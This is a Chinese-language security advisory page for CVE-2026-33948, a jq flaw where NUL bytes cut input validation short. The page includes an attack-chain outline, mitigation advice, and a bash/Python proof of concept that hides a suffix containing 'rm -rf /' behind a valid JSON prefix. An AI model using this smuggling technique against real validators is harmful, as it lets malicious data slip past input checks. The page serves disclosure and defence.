IPBUF安全漏洞报告
English
CVE-2026-33948 CVSS 5.3 中危

CVE-2026-33948 jq NUL字节验证绕过漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-33948
漏洞类型
输入验证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jq

相关标签

CVE-2026-33948jq输入验证绕过NUL字节解析器差异攻击JSON处理

漏洞概述

jq是一个广泛使用的命令行JSON处理器。在特定提交之前的版本中存在一个安全漏洞,允许攻击者通过嵌入NUL字节绕过输入验证。当jq从文件或标准输入读取JSON数据时,其内部逻辑错误地使用strlen()函数来确定缓冲区长度,而非依据fgets()读取的实际字节计数。这导致jq在遇到第一个NUL字节时会截断输入,仅解析该字节之前的合法前缀。攻击者可利用此漏洞构造包含良性JSON前缀和恶意后缀的数据包。jq仅验证前缀的有效性,而下游消费者可能会处理包含恶意字节在内的完整输入,从而引发解析器差异攻击。

技术细节

该漏洞的核心在于C语言字符串处理函数的特性与输入流处理逻辑的不匹配。jq在解析输入时,使用了strlen()来计算字符串长度。由于strlen()在遇到NUL字节(\0)时会停止计数,因此如果输入数据中包含NUL字节,jq将忽略其后的所有内容。攻击者利用这一缺陷,构造形如“合法JSON + \0 + 恶意数据”的Payload。例如:'{"user": "guest"}\0{"user": "admin"}'。jq解析器只会读取并验证前一部分,认为输入合法。然而,如果下游系统(如后端API、日志分析器或数据库)直接读取原始数据流而不使用相同的截断逻辑,它可能会解析到NUL字节后的恶意数据。这种解析器行为的不一致性使得攻击者能够绕过基于jq的过滤机制,将未经验证或恶意构造的数据注入到后续处理环节中。

攻击链分析

STEP 1
1. 侦察
攻击者识别出目标系统使用jq作为JSON输入验证工具。
STEP 2
2. 武器化
攻击者构造包含NUL字节的特殊JSON数据,前半部分为合法数据以绕过jq检查,后半部分包含恶意载荷。
STEP 3
3. 投递
攻击者将构造好的恶意数据发送给目标系统的输入接口(如文件上传或API请求)。
STEP 4
4. 利用
目标系统使用jq验证输入,jq因NUL字节截断而判定输入合法,放行数据。
STEP 5
5. 影响
下游组件处理完整数据流,解析NUL字节后的恶意内容,导致数据完整性受损或潜在注入攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-33948: jq NUL byte validation bypass # 1. Create a payload file with a benign JSON prefix, a NUL byte, and a malicious suffix # \x00 represents the NUL byte echo "Creating payload.json..." printf '{"status": "ok"}\x00{"admin": true, "command": "rm -rf /"}' > payload.json # 2. Use jq to validate the file # jq uses strlen(), so it stops at \0 and validates only the prefix echo "--- Output of jq parsing ---" jq '.' payload.json echo "jq exit code: $?" # 3. Simulate a vulnerable downstream consumer # This consumer reads the raw file content, seeing the data after the NUL byte echo "--- Output of a downstream consumer reading raw bytes ---" xxd payload.json echo "--- Python script simulating downstream processing ---" python3 << 'EOF' with open('payload.json', 'rb') as f: content = f.read() print(f"Total bytes read: {len(content)}") parts = content.split(b'\x00') print(f"Part 1 (seen by jq): {parts[0]}") if len(parts) > 1: print(f"Part 2 (seen by downstream): {parts[1]}") print("Vulnerability confirmed: Downstream sees malicious data.") EOF

影响范围

jq commits before 6374ae0bcdfe33a18eb0ae6db28493b1f34a0a5b

防御指南

临时缓解措施
建议立即将jq更新到修复了该问题的版本。如果无法立即更新,应修改数据处理流程,确保在jq验证之前或之后,对原始输入流进行二进制扫描以检测并拒绝包含NUL字节的数据,或者确保下游消费者与jq具有相同的解析行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表